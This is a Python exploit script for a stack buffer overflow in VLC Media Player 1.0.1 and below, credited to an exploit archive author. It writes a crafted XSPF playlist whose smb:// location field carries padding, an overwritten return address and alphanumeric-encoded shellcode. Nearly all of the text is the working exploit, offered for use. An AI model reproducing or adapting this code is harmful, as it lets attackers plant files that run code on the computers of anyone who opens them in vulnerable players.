VLC Media Player versions 1.0.1 and below smb:// URI buffer overflow exploit.
5366832dcb568b66c552c6d27000f073a34bd3528d9bc886d74ff1cebc9969c1
#!/usr/bin/env python
# VLC Media Player 1.0.0\1.0.1 smb:// URI Handling Remote Stack Overflow
# Xpl By : Mountassif Moad
# Thanks : His0ka - Simo-soft - v4 Team
# Original : http://www.milw0rm.com/exploits/9427
#
popup_msg=(
"TY777777777777777777777777777777777QZjAXP0A0AkAAQ2AB2BB0"
"BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkO"
"jpJHIvKOYokObPPwRN1uqt5PA") # from his0k4 exploit :d cose i lost the alpha encoder tool :s
header1 = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")
header1 += ("\t<title>Playlist</title>\n")
header1 += ("\t<trackList>\n")
header1 += ("\t\t<track>\n")
header1 += ("\t\t\t<location>smb://example.com@www.example.com/foo/#{")
payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 90 + "\x33\x52\x48\x7E" + popup_msg + "\x45" * 43 )
header2 = ("}</location>\n");
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");
header2 += ("\t\t\t</extension>\n");
header2 += ("\t\t</track>\n");
header2 += ("\t</trackList>\n");
header2 += ("</playlist>\n");
try:
f1 = open("vlc_1.0.X.xspf","w")
f1.write(header1 + payload + header2)
f1.close()
print("\nExploit file created!\n")
except:
print "Error"